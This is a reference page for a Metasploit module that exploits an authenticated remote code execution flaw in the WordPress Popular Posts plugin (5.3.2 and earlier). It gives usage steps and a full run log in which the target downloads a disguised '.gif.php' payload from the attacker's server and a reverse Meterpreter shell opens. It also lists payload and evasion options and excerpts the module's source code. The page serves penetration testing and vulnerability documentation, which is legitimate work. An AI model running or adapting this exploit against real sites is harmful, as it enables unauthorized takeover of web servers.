Wordpress Popular Posts Authenticated RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/wp_popular_posts_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Wordpress Popular Posts Authenticated RCE
Module: exploit/multi/http/wp_popular_posts_rce
Source code: modules/exploits/multi/http/wp_popular_posts_rce.rb
Disclosure date: 2021-06-11
Last modification time: 2022-10-03 19:50:04 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-42362
This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
msf > use exploit/multi/http/wp_popular_posts_rce
msf exploit(wp_popular_posts_rce) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated.
Authentication is required and gd
for PHP is required on the server.
Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.
A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once
the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded
which triggers the plugin to download the payload from our server. Our payload has a GIF
header, and a
double extension (.gif.php
) allowing for arbitrary PHP code to be executed.
Requirements
Server
gd
must be installed- Must have a Popular Posts widget installed on the homepage
Client
- Authentication is required
- Authorization to create a post
- FQDN which does NOT resolve to a reserved address (192/172/10)
- Port 80/443/8080 must be open
- The ability to receive a
GET
andHEAD
request
Verification Steps
- Install the plugin to wordpress
- Start msfconsole
- Do:
use exploits/multi/http/wp_popular_posts_rce
- Do:
set rhosts
- Do:
set username
- Do:
set password
- Do:
set SRVHOSTNAME
- Do:
set SRVPORT
- Do:
run
- You should get a shell.
Options
USERNAME
Username of the account which has post privileges. Defaults to admin
.
PASSWORD
Password of the account which has post privileges. Defaults to admin
SRVHOSTNAME
FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172). Ref
SRVPORT
The local port to listen on. Must be 80
,443
, or 8080
.
Ref
Scenarios
Wordpress Popular Posts 5.3.2 on Wordpress 5.4.8 running on Ubuntu 20.04
[*] Processing popular.rb for ERB directives.
resource (popular.rb)> use exploits/multi/http/wp_popular_posts_rce
[*] Using configured payload php/meterpreter/reverse_tcp
resource (popular.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (popular.rb)> set username admin
username => admin
resource (popular.rb)> set password admin
password => admin
resource (popular.rb)> set verbose true
verbose => true
resource (popular.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (popular.rb)> set SRVHOST 1.1.1.1
SRVHOST => 1.1.1.1
resource (popular.rb)> set SRVPORT 8080
SRVPORT => 8080
resource (popular.rb)> set ReverseAllowProxy true
ReverseAllowProxy => true
resource (popular.rb)> set SRVHOSTNAME test.metasploit.com
SRVHOSTNAME => test.metasploit.com
resource (popular.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/wordpress-popular-posts/readme.txt
[*] Found version 5.3.2 in the plugin
[+] The target appears to be vulnerable.
[*] Payload file name: 33pdOF.gif.php
[*] Checking if gd is installed
[*] Determining post with most views
[*] Top Views: 25
[*] Retrieving wpp_admin token
[*] wpp_admin_token: 77de9f26d8
[*] Updating popular posts settings for images
[*] Clearing image cache
[*] Creating new post
[*] ajax nonce: 62666b5377
[*] wp nonce: 6ec79a728b
[*] Created Post: 257
[*] Writing content to Post: 257
[*] Starting web server to handle request for image payload
[*] Using URL: http://1.1.1.1:8080/33pdOF.gif.php
[*] Adding malicious metadata for redirect to http://test.metasploit.com:8080/33pdOF.gif.php
[*] Sending 30 views to http://2.2.2.2/index.php/2021/12/06/mvihjvanh2eyo2n6b43wjxj16/
[*] Waiting 90sec for cache refresh by server
[*] Attempting to force loading of shell by visiting to homepage and loading the widget
[+] Responding to initial HEAD request (passed check 1)
[+] Responding to GET request (passed check 2)
[*] Triggering shell at: /wp-content/uploads/wordpress-popular-posts/257_33pdOF.gif.php in 10 seconds. Attempt 1 of 5
[*] Sending stage (39282 bytes) to 2.2.2.2
[+] Deleted 257_33pdOF.gif.php
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:38664 ) at 2021-12-05 19:05:57 -0500
[*] Server stopped.
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : wordpress2004
OS : Linux wordpress2004 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
Meterpreter : php/linux
Go back to menu.
Msfconsole Usage
Here is how the multi/http/wp_popular_posts_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/wp_popular_posts_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_popular_posts_rce) > show info
Name: Wordpress Popular Posts Authenticated RCE
Module: exploit/multi/http/wp_popular_posts_rce
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2021-06-11
Provided by:
h00die
Simone Cristofaro
Jerome Bruandet
Module side effects:
artifacts-on-disk
ioc-in-logs
config-changes
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password of the account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addres
ses.
SRVHOSTNAME yes FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)
SRVPORT login yes The local port to listen on. (Accepted: 80, 443, 8080)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path of the Wordpress server
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username of the account
VHOST no HTTP server virtual host
Payload information:
Description:
This exploit requires Metasploit to have a FQDN and the ability to
run a payload web server on port 80, 443, or 8080. The FQDN must
also not resolve to a reserved address (192/172/127/10). The server
must also respond to a HEAD request for the payload, prior to
getting a GET request. This exploit leverages an authenticated
improper input validation in Wordpress plugin Popular Posts <=
5.3.2. The exploit chain is rather complicated. Authentication is
required and 'gd' for PHP is required on the server. Then the
Popular Post plugin is reconfigured to allow for an arbitrary URL
for the post image in the widget. A post is made, then requests are
sent to the post to make it more popular than the previous #1 by 5.
Once the post hits the top 5, and after a 60sec (we wait 90) server
cache refresh, the homepage widget is loaded which triggers the
plugin to download the payload from our server. Our payload has a
'GIF' header, and a double extension ('.gif.php') allowing for
arbitrary PHP code to be executed.
References:
https://www.exploit-db.com/exploits/50129
https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
https://wpscan.com/vulnerability/bd4f157c-a3d7-4535-a587-0102ba4e3009
https://plugins.trac.wordpress.org/changeset/2542638
https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601
https://nvd.nist.gov/vuln/detail/CVE-2021-42362
Module Options
This is a complete list of options available in the multi/http/wp_popular_posts_rce exploit:
msf6 exploit(multi/http/wp_popular_posts_rce) > show options
Module options (exploit/multi/http/wp_popular_posts_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password of the account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addre
sses.
SRVHOSTNAME yes FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)
SRVPORT login yes The local port to listen on. (Accepted: 80, 443, 8080)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path of the Wordpress server
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username of the account
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the multi/http/wp_popular_posts_rce exploit:
msf6 exploit(multi/http/wp_popular_posts_rce) > show advanced
Module advanced options (exploit/multi/http/wp_popular_posts_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Ac
cepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl no The User-Agent header to use for all requests
eWebKit/537.36 (KHTML, like Gecko) Chrome/95.0
.4638.69 Safari/537.36 Edg/95.0.1020.44
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
WfsDelay 3000 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/wp_popular_posts_rce module can exploit:
msf6 exploit(multi/http/wp_popular_posts_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/wp_popular_posts_rce exploit:
msf6 exploit(multi/http/wp_popular_posts_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/generic/ssh/interact normal No Interact with Established SSH Connection
4 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
5 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
6 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
7 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
8 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
9 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
10 payload/php/download_exec normal No PHP Executable Download and Execute
11 payload/php/exec normal No PHP Execute Command
12 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
13 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
14 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
15 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
16 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
18 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
19 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
20 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/wp_popular_posts_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/wp_popular_posts_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Wordpress not detected.
- Popular Posts not a vulnerable version
- Failed to find payload, may not have uploaded correctly.
- Site not responding
- Failed to retrieve page
- Site not responding
- Failed to retrieve page
- Site not responding
- Failed to retrieve page
- Unable to save/change settings
- Site not responding
- Failed to retrieve page
- Site not responding
- Failed to retrieve page
- missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.
- Unable to retrieve nonces and/or new post id
- Site not responding
- Failed to retrieve page
- Post failed to publish
- Site not responding
- Failed to retrieve page
- Failed to update metadata
- Site not responding
- Failed to retrieve page
- Site not responding
- Failed to retrieve page
- Site not responding
- Failed to retrieve page
- Site not responding
- Failed to retrieve page
- Failed to retrieve page
- SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful
- Invalid login, check credentials
- gd is not installed on server, uexploitable
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Wordpress not detected.
Here is a relevant code snippet related to the "Wordpress not detected." error message:
74: OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),
75: ]
76: end
77:
78: def check
79: return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
80:
81: checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')
82: if checkcode == CheckCode::Safe
83: print_error('Popular Posts not a vulnerable version')
84: end
Popular Posts not a vulnerable version
Here is a relevant code snippet related to the "Popular Posts not a vulnerable version" error message:
78: def check
79: return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
80:
81: checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')
82: if checkcode == CheckCode::Safe
83: print_error('Popular Posts not a vulnerable version')
84: end
85: return checkcode
86: end
87:
88: def trigger_payload(on_disk_payload_name)
Failed to find payload, may not have uploaded correctly.
Here is a relevant code snippet related to the "Failed to find payload, may not have uploaded correctly." error message:
98: 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),
99: 'keep_cookies' => 'true'
100: )
101: end
102: if res && res.code == 404
103: print_error('Failed to find payload, may not have uploaded correctly.')
104: end
105: end
106:
107: def on_request_uri(cli, request, payload_name, post_id)
108: if request.method == 'HEAD'
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
134: 'vars_get' => {
135: 'page' => 'wordpress-popular-posts',
136: 'tab' => 'debug'
137: }
138: )
139: fail_with(Failure::Unreachable, 'Site not responding') unless res
140: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
141: res.body.include? ' gd'
142: end
143:
144: def get_wpp_admin_token(cookie)
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
135: 'page' => 'wordpress-popular-posts',
136: 'tab' => 'debug'
137: }
138: )
139: fail_with(Failure::Unreachable, 'Site not responding') unless res
140: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
141: res.body.include? ' gd'
142: end
143:
144: def get_wpp_admin_token(cookie)
145: vprint_status('Retrieving wpp_admin token')
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
151: 'vars_get' => {
152: 'page' => 'wordpress-popular-posts',
153: 'tab' => 'tools'
154: }
155: )
156: fail_with(Failure::Unreachable, 'Site not responding') unless res
157: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
158: /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body
159: Regexp.last_match(1)
160: end
161:
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
152: 'page' => 'wordpress-popular-posts',
153: 'tab' => 'tools'
154: }
155: )
156: fail_with(Failure::Unreachable, 'Site not responding') unless res
157: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
158: /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body
159: Regexp.last_match(1)
160: end
161:
162: def change_settings(cookie, token)
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
178: 'thumb_field_resize' => 1,
179: 'section' => 'thumb',
180: 'wpp-admin-token' => token
181: }
182: )
183: fail_with(Failure::Unreachable, 'Site not responding') unless res
184: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
185: fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body
186: end
187:
188: def clear_cache(cookie, token)
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
179: 'section' => 'thumb',
180: 'wpp-admin-token' => token
181: }
182: )
183: fail_with(Failure::Unreachable, 'Site not responding') unless res
184: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
185: fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body
186: end
187:
188: def clear_cache(cookie, token)
189: vprint_status('Clearing image cache')
Unable to save/change settings
Here is a relevant code snippet related to the "Unable to save/change settings" error message:
180: 'wpp-admin-token' => token
181: }
182: )
183: fail_with(Failure::Unreachable, 'Site not responding') unless res
184: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
185: fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body
186: end
187:
188: def clear_cache(cookie, token)
189: vprint_status('Clearing image cache')
190: res = send_request_cgi(
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
199: 'vars_post' => {
200: 'action' => 'wpp_clear_thumbnail',
201: 'wpp-admin-token' => token
202: }
203: )
204: fail_with(Failure::Unreachable, 'Site not responding') unless res
205: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
206: end
207:
208: def enable_custom_fields(cookie, custom_nonce, post)
209: # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
200: 'action' => 'wpp_clear_thumbnail',
201: 'wpp-admin-token' => token
202: }
203: )
204: fail_with(Failure::Unreachable, 'Site not responding') unless res
205: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
206: end
207:
208: def enable_custom_fields(cookie, custom_nonce, post)
209: # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.
210: res = send_request_cgi!(
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
228: res = send_request_cgi(
229: 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
230: 'cookie' => cookie,
231: 'keep_cookies' => 'true'
232: )
233: fail_with(Failure::Unreachable, 'Site not responding') unless res
234: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
235: /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body
236: /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body
237: /},"post":{"id":(?<post_id>\d*)/ =~ res.body
238: if ajax_nonce.nil?
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
229: 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
230: 'cookie' => cookie,
231: 'keep_cookies' => 'true'
232: )
233: fail_with(Failure::Unreachable, 'Site not responding') unless res
234: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
235: /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body
236: /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body
237: /},"post":{"id":(?<post_id>\d*)/ =~ res.body
238: if ajax_nonce.nil?
239: print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')
missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.
Here is a relevant code snippet related to the "missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields." error message:
234: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
235: /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body
236: /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body
237: /},"post":{"id":(?<post_id>\d*)/ =~ res.body
238: if ajax_nonce.nil?
239: print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')
240: /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body
241: ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)
242: end
243: unless ajax_nonce.nil?
244: vprint_status("ajax nonce: #{ajax_nonce}")
Unable to retrieve nonces and/or new post id
Here is a relevant code snippet related to the "Unable to retrieve nonces and/or new post id" error message:
247: vprint_status("wp nonce: #{wp_nonce}")
248: end
249: unless post_id.nil?
250: vprint_status("Created Post: #{post_id}")
251: end
252: fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id
253:
254: # publish new post
255: vprint_status("Writing content to Post: #{post_id}")
256: # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits
257: res = send_request_cgi(
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
275: 'X-WP-Nonce' => wp_nonce,
276: 'X-HTTP-Method-Override' => 'PUT'
277: }
278: )
279:
280: fail_with(Failure::Unreachable, 'Site not responding') unless res
281: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
282: fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
283: return post_id, ajax_nonce, wp_nonce
284: end
285:
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
276: 'X-HTTP-Method-Override' => 'PUT'
277: }
278: )
279:
280: fail_with(Failure::Unreachable, 'Site not responding') unless res
281: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
282: fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
283: return post_id, ajax_nonce, wp_nonce
284: end
285:
286: def add_meta(cookie, post_id, ajax_nonce, payload_name)
Post failed to publish
Here is a relevant code snippet related to the "Post failed to publish" error message:
277: }
278: )
279:
280: fail_with(Failure::Unreachable, 'Site not responding') unless res
281: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
282: fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
